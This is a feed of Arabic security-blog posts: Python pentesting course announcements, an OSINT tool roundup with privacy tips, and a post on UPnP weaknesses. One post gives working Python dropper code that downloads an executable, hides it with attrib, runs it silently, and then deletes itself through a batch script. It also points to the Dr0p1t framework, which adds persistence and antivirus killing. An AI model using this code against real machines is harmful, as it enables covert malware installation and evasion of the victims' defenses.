Quantcast
Channel: iSecur1ty
Viewing all 466 articles
Browse latest View live

فيديو : دورة أساسيات Python وإستخدامها في إختبار الإختراق –الدرس الخامس والعشرين

$
0
0

تدربنا في الفيديو السابق علي برمجه باك دور خلفي بالبايثون مع شرح ماهو بالتفصيل ، واليوم بأذن الله سنتدرب علي برمجه سكانر لفحص الشبكه والمنافذ المفتوحه

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

 


دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثاني –الدرس الأول

$
0
0

الفيديو السابق أنهينا الجزء الأول جزء الأساسيات ، واليوم بأذن الله سوف نشرح أساسيات الre وما هي

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثاني –الدرس الثاني

$
0
0

في الفيديو السابق شرحنا أساسيات الre وما هي واليوم بأذن الله سنتكلم عن الـGroups

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثاني –الدرس الثالث

$
0
0

في الفيديو السابق تكلمنا عن الـGroups وماهي واليوم بأذن الله سنتكلم عن الـPatterns Greedy-Nongreedy Matching

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثاني –الدرس الرابع

$
0
0

في الفيديو السابق تكلمنا عن الـPatterns Greedy-Nongreedy Matching واليوم بأذن الله سنتكلم عن بعض الرموز المفيده في الre الجزء الأول

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثاني –الدرس الخامس

$
0
0

في الفيديو السابق تكلمنا عن بعض الرموز المفيده في الre الجزء الأول واليوم بأذن الله سنتكلم عن الجزء الثاني لننهي بذلك الجزء الثاني من الكورس ونبدأ في الجزء الثالث

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثالث –الدرس الأول

$
0
0

الفيديو السابق أنهينا الجزء الثاني جزء الRE ، واليوم بأذن الله سوف نشرح ماتحتاج لمعرفته عن مكتبه requests و webbrowser

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثالث –الدرس الثاني

$
0
0

الفيديو السابق شرحنا ماتحتاج لمعرفته عن مكتبه requests و webbrowser ، واليوم بأذن الله سوف نشرح فرز الـHTML عن طريق مكتبه BeautifulSoup

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.


دورة أساسيات Python وإستخدامها في إختبار الإختراق الجزء الثالث –الدرس الثالث

$
0
0

الفيديو السابق شرحنا فرز الـHTML عن طريق مكتبه BeautifulSoup ، واليوم بأذن الله سوف نشرح التحكم في المتصفح عن طريق مكتبه selenium

نتمنى أن ينال هذا الفيديو إعجابكم وبإنتظار أي تعليقات أو أسئلة لكي نقوم بالرد عليها مُباشرة إن شاء الله.

وبذلك نكون قد أنهينا كورس أساسيات Python وإستخدامها في إختبار الإختراق والأن أنت تعرف ما يمكنك من برمجه أدواتك الخاصه

ماهي البرمجيه الخبيثه Dropper وكيف تبرمج بلغه البايثون مع نظره علي أداه Dr0p1t

$
0
0

وصلنا لمرحله أننا أصبحنا كل يوم نري تطور البرمجيات خبيثه  أكثر وأكثر واليوم بأذن الله سنتحدث عن شكل من أشكالها وهي ليست برمجيه جديده ولكنها ليست معروفه للجميع ايضا وهي الـDropper

ماهو الـTrojan Dropper ؟

هو نوع من البرمجيات الخبيثه والذي تتكمن وظيفته في أن يقوم بتحميل ملف خبيث علي جهازك وتشغيله دون أن تشعر بشئ .

ولكي يقوم هذا الدروبر بهذا فأنه يفعل بذلك بطريقه من أثنين ليتخطي برامج الحمايه وهي أنه أما يكون يحتوي بالفعل علي كود الفايروس ويقوم بأنشائه وتشغيله مباشرتاً وهي عمليه من مرحله واحده..

الطريقه الثانيه وهي الشائعه بين هذه البرمجيات وهي أن يقوم بتحميل الملف الخبيث من علي الأنترنت بحيث يكون مبرمج الدروبر قد رفع الملف الخبيث مسبقا علي موقع من مواقع التخزين الألكتروني وبرمج الدروبر علي أن يحمله ومن ثم يقوم بتشغيله وكما نري هي عمليه من مرحلتين.

وفي الغالب يقوم الدروبر بمسح نفسه بعد أنجاز المهمه .

مثال :

في سنه 2014 أكتشف فريق f-secure برمجيه OnionDuke والتي كانت تنتشر في أجهزه مستخدمين شبكه الـTOR !

هذه البرمجيه تتكون من ملفين الملف الأول عباره عن دروبر وهو الملف الأساسي المستخدم للأنتشار حيث قام مؤلفين هذه البرمجيه بتجهيز بربط جهاز مجهز لنشر الدروبر وربطه بالشبكه حتي يكون بمثابه TOR Node (تستطيع القرائه أكثر عن كيفيه عمل شبكه الـTOR أو الأنتظار مقالنا عنها قريبا 😉 ) ولكن هنا لن يكون مجرد TOR Node عاديه فعندما يقوم أحد مستخدمين الشبكه بتحميل ملف من علي شبكه التور والبيانات تمر من خلال هذه العقده , يحقن الدروبر في الملف بشكل تلقائي وبعدما يقوم المستخدم بتشغيل الملف يبدأ الدروبر بالعمل ويكون الملف الأساسي للبرمجيه الخبيثه للسيطره علي الجهاز وتقوم برامج الحمايه بتصنيف هذا الدروبر كا Trojan-Dropper:W32/OnionDuke.A .

الملف الثاني هو عباره عن ملف DLL يكون بداخل الدروبر والذي يكون في ظاهره صوره GIF لكنه في الواقع ملف DLL فيقوم الدروبر بتشغيل هذا الملف وعندما يعمل الملف يقوم بالأتصال بسيرفر الـC&C في أنتظار مؤلفين البرمجيه ( أو المتحكمين في السيرفر بشكل عام ) بأن يقوموا بتنفيذ أوامر علي الجهاز من تنزيل برمجيات خبيثه أخري وتثبيتها وما الي ذلك وتقوم برامج الحمايه بتصنيف هذا الملف كا Backdoor:W32/OnionDuke .

قمنا من قبل بالكتابه عن الـC&C Servers تستطيع أن تقرأ عنها من هنا 


والأن سنري كيف يمكن برمجه Dropper بلغه البايثون :

سنقوم ببرمجه دروبر من النوع الثاني الذي يقوم بتحميل الملفات الخبيثه الأخري من علي الأنترنت حيث أنه الأكثر شيوعا.

اولا من أجل تنزيل الملف سأستخدم داله urlretrieve من مكتبه urllib وسنستهدف بيئه عمل نظام الويندوز في شرحنا .

أذا كنت علي بايثون أصدار 2 فتقوم بعمل استيراد للداله هكذا

from urllib import urlretrieve

وأذا كنت علي بايثون أصدار 3 فتقوم بعمل أستيراد للداله هكذا

from urllib.request import urlretrieve

الأن هذه الداله تأخذ متغيرين واحد هو الرابط والأخر الأسم وسنجعل هنا أسم الملف ثابت وسيكون hosts.exe ولذلك سوف نعبر عن الأمر كالأتي :

urlretrieve(url,"hosts.exe")

الأن قمنا بتحميل الملف ولكن قبل تشغيله سنقوم بأخفائه ولعمل هذا سنستعين بمكتبه subprocess فنقوم بأستدعائها :

import subprocess

والأن ننفذ أمر attrib بسيط لأخفاء الملف ولكن سنوجه المُخرج الي البايب حتي لا يكون هناك أي أخراج

subprocess.Popen("attrib +s +h hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)

الأن فقط نستطيع تشغيل الملف كالأتي :

subprocess.Popen("hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)

الأن أصبح لدينا دروبر بسيط يقوم بتحميل ملف وأخفائه وتشغيله ولكن يظل ينقصه بعض اللمسات مثل أن يقوم بمسح نفسه بعد الأنتهاء من المهمه فكيف نقوم بذلك ؟ 😀

لتكتب كود يجعل السكربت يمسح نفسه يعتبر من الأشياء الشبه مستحيله في البايثون ولذلك سنستعين بلغه batchfile لنقوم بعمل ملف bat يمسح السكربت ومن ثم يمسح نفسه 😀

سيكون الكود الذي سيكون في الملف الـBat كالأتي :

@echo off
TASKKILL /F /IM "Dropper_Name"
DEL -f "Dropper_Name"
DEL "%~f0"

الأن لنشرحه سطر سطر :

السطر الأول @echo off وهي أساسيه عند بدء كتابه أي ملف بات حتي لا يقوم الملف بعمل أوت بوت أو أخراج بمعني أخر

السطر الثاني نقوم به بأستخدام الأمر TASKKILL لعمل قتل للدروبر مع أستخدام سويتش /F لأجباره علي قتله وسويتش /IM لأنني سأعطيه أسم الملف الدروبر وليس الـPID ومن ثم بعدها نكتب أسم الدروبر

السطر الثالث نمسح الدروبر نفسه مع أستخدام سويتش -f لأجبار الملف علي مسحه

السطر الرابع نجعل ملف البات يقرأ أسمه ومن ثم يمسح نفسه وهذه الخدعه هي أننا جعلناه يقرأ أسمه عن طريق الـCommandline Argument رقم 0 والذي هو أسم الملف

الأن بعدما شرحنا الملف الم تلاحظ شيئا ما ؟

كيف سنعرف أسم الدروبر لنعطيه لملف البات ليقوم بمسحه ؟ فمن المحتمل أن يتغير أسم الدروبر الي أسم اخر غير الذين سميناه أياه !

الخدعه أننا سنجعل الدروبر يستطيع أن يقرأ أسمه وهذا ينفذ ببساطه عن طريق مكتبه sys فنقوم أولا بأستدعائها :

from sys import executable

والأن سنستخدم داله executable من المكتبه لنعرف أسم الملف ولكنه سيكون المسار الكامل ولذلك سنقوم بعمل فرز له ونأتي بأسم الملف فقط من المسار

filename = executable.split("\\")[-1]

وبعدها نقوم بتشغيله فتصبح الأن داله التدمير الذاتي كالأتي 😀

from sys import executable
def selfdestruct():
	filename = executable.split("\\")[-1]
	data = '''@echo off
TASKKILL /F /IM "{0}"
break>{0}
DEL -f "{0}"
break>"%~f0" && DEL "%~f0" '''.format( filename )
	f = open("1.bat","w")
	f.write(data)
	f.close()
	xxx = subprocess.Popen("1.bat >> NUL",shell=True)

selfdestruct()

وهكذا الأن نكون قد شرحنا برمجه دروبر بسيط خاص بنا ولكن هل سمعت عن أداه Dr0p1t ؟؟

أداه Dr0p1t هي أداه جديده تقوم بعمل دروبر خاص بك ولكنه ليس بمثل بساطه الذي قمنا بشرحه الأن فهي بها بعض المزايا والتي هي عباره عن المهام التي تستطيع القيام بها قبل تشغيل الملف الخاص بك وبعده مثل جعله يعمل مع تشغيل الجهاز أو قتل الأنتي فايروس المثبت علي الجهاز.

تستطيع أن تقرأ عنه أكثر من الرابط الخاص به : https://github.com/D4Vinci/Dr0p1t-Framework

 

وهذه بعض الصور له من علي Github :

دمتم بود والسلام عليكم ورحمه الله

مقال : أعرف هدفك قبل الهجوم –مقدمه الي الـOSINT وطرق الوقايه

$
0
0

بالتأكيد قد سمعت من قبل عن الـInformation Gathering أو مرحله جمع المعلومات التي تأتي قبل أختبار الأختراق وكلنا نعلم كم هي مهمه بل وأنها تكاد تكون أهم مرحله ولكن ليس هذا موضوعنا اليوم.

سنتحدث اليوم عن أسلوب محدد من أساليب جمع المعلومات وهو Open Source Intelligence أو كما يختصر OSINT والذي هو بكل بساطه يعبر عن جمع المعلومات عن هدف محدد من خلال المعلومات المتاحه للجميع أو بشكل أبسط هي المعلومات التي تستطيع أن تبحث عنها من علي محركات البحث العاديه أو المتخصصه والذي يوحي بمدي وفره هذه المعلومات.

في هذه المقاله سوف نشرح العديد من المواقع والأدوات المتخصصه في جمع أنواع مختلفه من المعلومات المتاحه وفي الحقيقه أنا ترددت كثيراَ قبل البدأ في الكتابه من حيث الترتيب أو طريقه سرد المقاله لكن لم أصل الي طريقه أعتبرها مناسبه ولذلك سوف نبدأ بالتحدث عن المواقع اولا ومن ثم نتطرق الي التحدث عن الأدوات.

ملحوظه : أي خدمات جانبيه يتم ذكرها يكون مرفق الرابط الخاص بها أن أمكن!

Shodan

عندما نذكر جمع المعلومات لا نستطيع بالطبع أن نتجاهل العملاق شودان ومن منا لا يعلمه فأنت تستطيع أن تبحث عن أنواع محدده من الأجهزه متصله بالأنترنت فمثلا تستطيع أن تبحث عن كل الأجهزه التي خدمه Microsoft IIS تعمل عليها عن طريق كتابه أسم الخدمه الخدمه فقط في صندوق البحث !

بالطبع أذا خضنا في شرح موقع شودان فلن نتحدث عن شئ أخر اليوم بسبب كثره الخدمات التي يقدمونها بدايه من API خاص بهم وبذلك تستطيع أن تحصل علي المفتاح الخاص بك ومن ثم تدمجه مع أداه Nmap بأستخدام سكربت مخصص لتقوم بفحص هدفك بدون أن تتصل به وأستخدامه للتأكد أذا كان سيرفر ما حقيقي أم مجرد Honeypot الي أنك تستطيع أن تستخدمه في البحث عن الثغرات وأستغلالتها من معظم قواعد البيانات حول العالم .

تستطيع أن تبحث عنه لتتعلم أكثر أو تشتري كتابهم الأصلي لتتعلم كل مايخصه.

 

Zoomeye

زوم أى هو الموقع المنافش لموقع شودان وما يميزه عنه هو أن معظم خدماته مجانيه دائما بعكس شودان كما أنه لديه بعض الخدمات التي ليست موجوده عند شودان مثل أنهم لديهم مجموعه الـDorks الخاصه بهم والتي هي لمن لا يعلم هي تعتبر بمثابه كلمات مفتاحيه تستخدم للبحث عن مجموعه من المواقع أو الأجهزه تشترك في نفس الخاصيه أو في نفس الخدمه وهذه هي القائمه الخاصه بهم .

 

searchftps.net

هو موقع يسمح لك أن تبحث في كافه الملفات المتاحه علي سيرفرات الـFTP المفتوحه وهذا قد يفيدك وبل سيفيدك للغايه في عمليه جمعك للمعلومات فأنت لا تعلم ما الملفات اللي قد تجدها متاحه علي سيرفر ما بالخطأ 😉

 

haveibeenpwned.com

قل لي أنك لم تسمع من قبل عن أي تسريب من التسريبات التي تحدث من الوفت للأخر ؟

تتعرض العديد من المواقع حتي المواقع الكبيره والمعروفه مثل LinkedIn أو MySpace للتسريبات من وقت لأخر وهذه التسريبات تكون عباره عن الأيميلات والكلمات السريه وفي بعض الأحيان تجد معلومات أخري مثل عنوانين الـIP وما ذلك.

معظم الأوقات تعرض هذه القواعد البيانيه للبيع وأحيانا أخري تعرض بشكل مجاني ( أو يقوم شخص ما بعرضها ) فالذي يقوم به هذا الموقع هو تجميع كل التسريبات التي تحدث عندما تكون متاحه ومن ثم تقوم أنت بوضع الأيميل الخاص بك ( أو أيميل هدفك 😉 ) ومن ثم يخبرك الموقع أذا كان هذا الأيميل قد كان في أي تسريب من قبل لكن للأسف لا يخبرك أي معلومات عن الأيميل المسرب 😀 وهذا ما يميز الموقع التالي عنه .

 

Hacked-emails.com

هذا الموقع يقدم نفس خدمه الموقع الفائت ولكن بالأضافه أنه يخبرك أذا كان الأيميل في أحد التسريبات أم لا فأنه اذا كان رابط القاعده المسربه متاح فأنه يعطيك اياها وبالتالي تستطيع أن تستخرج المعلومات التي تريدها عن هدفك من التسريبات.

 

Google Hacking

نعم هو محرك البحث جوجل 😀 .

هل تذكر الـDorks التي ذكرتها من قبل ؟ جوجل لها الدوركس الخاصه بها أيضا والتي تستطيع أن تستخدمها في أن تخصص بحثك فمثلا تبحث عن المواقع التي في الرابط الخاص بها كلمه wp-admin مثلا أو المواقع التي تحتوي علي كلمه login مثلا في العنوان وما الي ذلك وهذا مفيد للغايه أذا كنت تبحث نوع معين من الملفات في المواقع أو ثغره أمنيه منتشره .

الذي تراه في الصوره هو قاعده بيانات للـGoogle Dorks يقدمها الموقع الكبير exploit-db والتي هي محدثه بأستمرار حيث أنه يستطيع أي أحد أن يضيف لها.

 

pipl

الأن سنبدأ بالتكلم عن جمع المعلومات عن الأفراد , موقع pipl يقدم خدمه مفيده للغايه وهي البحث عن الأشخاص عن طريق أسمهم , الأيميل أو حتي رقم الهاتف ومن ثم يأتي لك بكل الأشخاص التي تطابق عليهم المعلومات التي قدمتها وكل حسابتهم علي مواقع التواصل الأجتماعي التي تتطابق مع معلوماتهم فعلي سبيل المثال فلنبحث عن Elon Musk ( أعتقد أني لست بحاجه أن أعرفه 😀 )

كما نري ظهرت له العديد من الحسابات علي مواقع التواصل الأجتماعي وبعد الدخول علي بروفايله علي الموقع نجد

كما نري العديد من المعلومات القيمه ومن ضمنها مثلا حساباته علي موقع تويتر وأنستجرام !

 

peekyou.com

بيكيو هو موقع مثل موقع pipl ولكن ما يميزه أنه يعطي معلومات أكثر عن الهدف , من غير أن نكثر في الكلام لنطبق علي Elon Musk مجددا 😀

كما نري العديد العديد من المعلومات المفيده 😀

 

 IntelTechniques search tool

الأن ننتقل الي هذه الأداه المخيفه من فريق IntelTechniques هذه الأداه تسمح لك أن تأتي بمعلومات عن أهدافك لن تتخيل أنك تستطيع أن تجدها فعلي سبيل المثال تستطيع أن تجد من علي موقع الفيسبوك عن هدفك الأماكن الذي زارها , (الصور,الفيديوهات,الصفحات) التي أعجب بها ,متابعينه, أصدقائه, من يقوم بمتابعته , التطبيقات التي يستخدمها علي حسابه و أصدقائه في العمل والكثير الكثير من الأشياء المخيفه التي تستطيع أن تبحث عنها كما بالصوره :

وهذا كان موقع الفيسبوك فقط فما بالك بباقي المواقع والخدمات الموجوده علي الموقع ! 😀

سأتركها لك أنت لتفقدها حتي لا أطيل المقاله أكثر فأمامنا الكثير بعد 😀

 

FACEBOOK LIKE CHECKER

هذا هو موقع صغير بسيط يمكنك من تحليل أعجابات أي صفحه والذي قد يكون مفيد عند أستهداف شركه ما .

 

Tineye

هو موقع صغير أخر يقدم خدمه بسيطه مفيده للغايه وهي تعقب مصدر الصور أي أنك ماتقوم بفعله هو أن تفتح الموقع وترفع صوره عليه أو تكتب رابطها ومن ثم يأتي لك بمصدرها مثل شخص ما قام برفعها علي أحدي مواقع التواصل الأجتماعي وما الي أخره.

 

exifdata.com

بصراحه أنا لا أعلم أذا كانت الـExif Tags تعتبر من الـOSINT أم لا لكن بما أنها متاحه للجميع حيث أنه يستطيع أي شخص أن يستخرجها من الصور فلذلك سأعتبرها من الـOSINT .

موقع ExifData كما هو أسمه يمكنك من أستخراج البيانات الموجده في الـExif Tags الموجوده في الصور والتي هي لمعلوماتك عباره عن جميع المواصفات والخصائص التي تكون خاصه بملفات الصور , وتستخدمها جميع كاميرات التصوير الرقمية بالإضافة لجميع الأجهزه الذكية الحديثه , وهي تصف بشكل عام تاريخ إلتقاط الصورة ووقت إلتقاط الصورة ونوع الكاميرا وإصدارها وكذلك وصف للصورة وأيضاً حقوق الصورة ومعلومات أخرى فيمكنا هذا الموقع من أستخراجها بسهوله وستفاجئ عندما تعلم أن هناك كثير من المواقع الكبيره التي لا تهتم بأزاله الـExif Data مثل موقع Google+ .

 

wigle

هل سمعت من قبل عن هجمات الـWarDriving ؟

هو ببساطه وأيجاز شديد هجوم يتكمن في ان تبدأ تتحرك في المنطقه التي أنت فيها بالسياره ومن خلال هاتفك تبدأ بتسجيل كافه الشبكات اللاسلكيه التي تلقطها وربطها بمكانك عن طريق الـGPS وبعد ان تنتهي تقوم بحفظ هذه البيانات بملف وتقوم بفتحه عن طريق Google earth او أي خدمه خرائط وتبدأ في تفقد كافه التفاصيل للشبكات اللاسلكيه التي ألتقطها ومنها تعرف الشبكات المفتوحه والشبكات ذات الحمايه الضعيفه .

يوجد العديد من التطبيقات علي الهاتف التي تمكنك من عمل هذا مثل G-Mon و Wigle ولكن هذا الأخير يمكنك من أن ترسل الشبكات التي ألتقطها الي السيرفر الخاص بهم مما يجعلهم قادرين علي تكوين خريطه لجميع الشبكات الملتقطه من هذا الهجوم من تطبيقهم حول العالم !

المفاجأه أنك تستطيع أن تري هذه الخريطه من علي موقعهم 😀

كما تري في الصوره التي في الأعلي هذه صوره لجزء من مدينه القاهره ومع ملاحظه أن جميع النقط الزرقاء هي الشبكات المسجله علي الموقع.

 


هكذا نكون قد أنتهينا من المواقع نبدأ الأن في أستعراض الأدوات وهي ليست كثيره مثل المواقع حيث أن هناك مواقع لعمل معظم الذي الأدوات تقوم بعمله :”D

 

Tweets Analyser

هذه أداه مفيده للغايه تستطيع من خلالها أن تحلل حساب هدفك علي موقع Twitter وتكوين فكره بسيطه عن كيفيه سير يوم هذا الشخص فهي تمكنك من معرفه متوسط النشاط علي تويتر لكل ساعه ولكل يوم ,المنطقه الزمنيه واللغه المختاره علي الحساب , المصادر التي يفتح منها حسابه , الأماكن التي ظهر أنه فيها , أكثر الهاشتاجز المستخدمه وأكثر مستخدمين يقوم بعمل ريتويت لهم وأكثر والصوره التي ترها بالأعلي هي صوره لتحليل حساب أدوارد سنودن بأستخدام الأداه.

 

Maltego

ومن منا لا يعلم عملاق جمع المعلومات Maltego ! مالتيجو هي أداه مصنعه خصيصا من أجل جمع المعلومات وهي تقوم بذلك عن طريق أضافات أو Plugins خاصه بالـOSINT وهذه الأضافات يسموها بالـTransforms.

تتيح لك هذه الأداه جمع مختلف المعلومات المهمه عن طريق العديد من الأضافات والتي كل واحده مخصصه لجمع معلومات محدده وعددها يتوقف علي الأصدار الذي تستخدمه ومن ثم تقوم برسم هذه المعلومات في شكل شبكه لتكون سريعه الفهم والربط بين المعلومات بسهوله.

لن أقوم بشرح أستخدامها حتي لا أطيل المقاله أكثر مع أنها سهله الأستخدام لا تحتاج لشرح لكن هنا ستجد أمثله عديده علي أستخدامها وهنا فيديو تعليمي يوضح كيف تكتب الأضافات الخاصه بك أو الـTransforms كما يسموها ويوجد لها العديد من الشروحات علي الأنترنت.

 

TheHarvester

زاهارفيستر هي أداه من ضمن الأدوات المتميزه وهي مهمتها تتكمن في أن بعد أن تعطيها الشركه الهدف تبدأ في البحث في جميع محركات البحث ومواقع التواصل الأجتماعي وفي شودان والعديد من مصادر المعلومات لأيجاد أيميلات الموظفين بها ,أسمائهم ,المنافذ المفتوحه والعديد من المعلومات عن الشركه وهذا مثال تطبيقي من أحد المواقع في تشغيل الأداه علي موقع ناسا :

 

DataSploit

هي أداه كبيره ومفيده للغايه تستطيع جمع المعلومات عن طريق أعطائها الموقع ,الأيميل ,أسم المستخدم أو رقم الهاتف تستطيع القرائه عنها أكثر وكيفيه أستخدامها من هنا حتي لا نطيل المقال أكثر.

 



الأن كيف أحمي نفسي ضد هذه الهجمات أو معظمها ؟

معظم هذه الخطوات تعتبر أجرائات حذريه قد تحميك أو لا تحميك ولكن جميعها تعتمد علي أستخدامك لها

1- لا تستخدم معلوماتك الحقيقه في التسجيل في المواقع ألا اذا كان الامر واجب ووقتها حاول أن تقلل في المعلومات المسجله علي قدر الأستطاعه.

تستطيع أن تستخدم هذا الموقع لتوليد معلومات مزيفه وتستخدم هذا الموقع أو هذا الموقع لتوليد أيميل مؤقت تستخدمه في التسجيل ولقد قمت ببرمجه سكربت بدائي بلغه البايثون ليقوم بهذه المهمه تلقائيا :

import requests ,re ,time ,sys

#Getairmail wrapper
def get_mail():
      try:
            a = requests.get("http://en.getairmail.com/random")
            source = a.text
            mail_regex = re.compile('data-clipboard-text=".+?"')
            print("\n Temporary email:\n\tEmail\t\t: "+mail_regex.findall(source)[0].split('"')[1] + "\n\tInbox Url\t: " + 

a.url)
      except :
            print("\n\t\t You have been blocked by the website! [ Wait some time before trying again! ]")
      time.sleep(1)

#Fakenamegenerator wrapper
def fake_id():
      a = requests.get("http://www.fakenamegenerator.com/gen-undefined-undefined-undefined.php")
      source = a.text
      name = source.split('<div class="address">')[1].split("</h3>")[0].replace("<h3>","").strip()
      address = source.split('<div class="address">')[1].split('<div class="adr">')[1].split("</div>")[0].split("<br/>")

[1].strip()
      birthday = source.split('<dt>Birthday</dt>')[1].split("</dd>")[0].replace("<dd>","").strip()
      age =  source.split('<dt>Age</dt>')[1].split("</dd>")[0].replace("<dd>","").strip()
      job = source.split('<dt>Occupation</dt>')[1].split("</dd>")[0].replace("<dd>","").strip()
      clr = source.split('<dt>Favorite color</dt>')[1].split("</dd>")[0].replace("<dd>","").strip()
      car = source.split('<dt>Vehicle</dt>')[1].split("</dd>")[0].replace("<dd>","").strip()
      print(""" Fake ID :
\tName\t\t: {0}
\tAddress\t\t: {6}
\tBirthday\t: {1}
\tAge\t\t: {2}
\tWork\t\t: {3}
\tFavorite color\t: {4}
\tVehicle\t\t: {5}""".format(name,birthday,age,job,clr,car,address) )

def profile(n=1):
      for i in range(n):
            print("- "*10)
            fake_id()
            get_mail()

try:
      profile( int( sys.argv[1] ) )

except:
      profile()

 

2- لا تقم بأستخدام نفس كلمه السر مرتين وقم بأختيار كلمه سر جيده حيث لا تقم فيها بأستخدام أي معلومه تخصك ,تستطيع أختبار قوه كلمه السر الخاصه بك من هنا ضد التخمين وأذا كنت تواجه مشكله في صنع كلمه سر جيده تستطيع أستخدام هذا الموقع وأذا كنت تواجه مشكله في الذاكره ولا تستطيع تذكر كلماتك السريه تستطيع أستخدام أحد برامج أداره كلمات السر مثل Roboform .

 

3- أخفاء الـUser Agent الخاص بك عن طريق أستخدام أضافات مثل User Agent Switcher علي متصفح جوجل كروم وعلي متصفح فيرفوكس وأخفاء مكانك عن طريق أستخدام برامج الـVPN أو أستخدام بروكسي وأضافات مثل NoScript علي متصفح الفيرفوكس و ScriptBlock علي متصفح الجوجل كروم لمنع أكواد الجافاسكربت من التنفيذ بشكل تلقائي وأضافات مثل Referer Control علي جوجل كروم وRefControl علي فيرفوكس

 

4- أستخدام خدمه من خدمات مسح الـExif Data لصورك قبل رفعها مثل هذا الموقع

 

5- قم بأخذ الحذر مما تشاركه علي الأنترنت فحتي المواقع لا تسلم حتي وأن مسحت الموقع يستطيع أي أحد أن يأتي بأخر نسخه له عن طريق Google cache من هنا أو عن طريق موقع archive .

 

6- فكر مرتين قبل عمل أي شئ!

 

الي هنا تكون أنتهت مقالتنا أرجوا أن تكونوا قد أستفدتم.

مساوئ برتوكول الـUpnp ومخاطرة علي أنترنت الأشياء وكيف يمكن أن يستغل عن بعد

$
0
0

مع التطور التكنولوجي السريع الذي أصبحنا فيه أصبحت التكنولجيا تدخل في حياتنا كل يوم أكثر فأكثر .

وهذا التدخل علي هيئه أشكال كثيره أهمها أنترنت الأشياء فأصبح لدينا غلايه متصله بالأنترنت وتلفاز متصل بالأنترنت حتي أصبح هناك بيوت تبني ذكيه بالكامل !

وهنا تكمن المشكله حيث أن معظم الشركات بل ويكاد يكون جميعها لا يهتمون بحمايه هذه الأجهزه بقدر ما يهتمون بأن يكون يعمل بطريقه جيده وبه العديد من المميزات ليجذب العديد من المشترين ولا يفكرون أو يلقون نظره حتي علي نظامه الأمني قبل أن يتصل بالأنترنت وأنا هنا لا أتكلم عن هجمات الـmisconfiguration التي تحدث كثيرا مع هذه الأجهزه فعلي سبيل المثال  Mirai Botnet يستخدم كلمات السر الأفتراضيه للـIoT أو أنترنت الأشياء في كثير من هجماته ولكنه ليس هذا موضوعنا اليوم.
سأريك اليوم كم الأهمال الذي ستجده فكل الذي يتطلبه الأمر هو شخض جاهزا للحفر (البحث).

سوف نبدأ حديثنا بالتحدث عن برتوكول الـUPNP وهو برتوكول يستخدم بكثره في أنترنت الأشياء وهنا تكمن الكارثه وستعلم لماذا بعد قليل.

برتوكول upnp هو يعتبر بمثابه مجموعه من البروتوكولات والذي صنع خصيصا من أجل أن يجعل الأجهزه الموجوده بالشبكه مثل الأجهزه الشخصيه والطابعات والهواتف وغيرها من الأجهزه أن تكتشف بعضها علي الشبكه ومن ثم يقومون بتبادل البيانات والتي هي تكون عباره عن تفاصيل الجهاز والأكشنز التي تستطيع تنفيذها مثل تغيير الأعدادات وغيرها والـEvents وغيرها وهو يعتمد في هذا علي بروتوكول الـHTTP وبروتوكول الـSOAP (والذي هو بروتوكول للتواصل بين الأنظمه المختلفه علي هيئه XML ويستطيع أن يعتمد في أيصال الرسائل علي برتوكول الـHTTP , الـTCP , الـUDP , الـSMTP أو الـJMS ولكنه في الغالب يستخدم HTTP من خلال حزم UDP لضمان السرعه ) ويستخدم بروتوكولSSDP في أكتشاف الأجهزه الأخري التي علي الشبكه .

بدون الدخول في تفاصيل أكثر عن كيفيه عمله تستطيع أن تبحث عنه بنفسك أذا أردت تفاصيل أكثر.
والأن سنتحدث عنه من الناحيه الأمنيه ولما هو غير أمن.

  • المشكله الأولي به هي أنه Authenticationless أو كما يقال Insecure by design بمعني أنه مقصود أن يصنع غير أمن فا بالتالي أذا كان مفعل في أي جهاز يستطيع أي أحد أن يتصل به !
    ولذلك تلجأ بعض الشركات الي طبقه أضافيه من الحمايه وهي عن طريق تأمين الجهاز أكثر وهناك حل موجود بالفعل ولكنه غير رسمي ويسمي بالـUPnP-UP أختصارا لـUniversal Plug and Play – User Profile والتي تتيح بعمل توثيق أو Authentication للمستخدم الذي يقوم ببعض الأكشنز (Actions) المهمه ولكن للأسف قليله للغايه الشركات التي تهتم بحمايه هذا البرتوكول والذي يؤدي في النهايه الي أجهزه غير مؤمنه فـعلي سبيل المثال تخيل ان يكون البروتوكول مفعل علي جهاز الروتر (Router) الخاص بك ( والذي بالمناسبه العديد من الأشخاص يقومون بتفعيله بجهل منهم مما قد يفعل بحجه فتح منفذ في جدار الحمايه الخاص بالروتر من أجل الألعاب الأونلاين مثلا والعديد من الأسباب ) الأن أذا أصيب جهاز بداخل الشبكه ببرمجيه خبيثه ما ستستطيع أن تفتح منفذ خاص بها بالروتر لتتصل مع السيرفر الخاص بها متجاوزه جدار الحمايه وتستطيع القيام بالعديد من الأشياء الأخري التي سنراها بعد قليل.
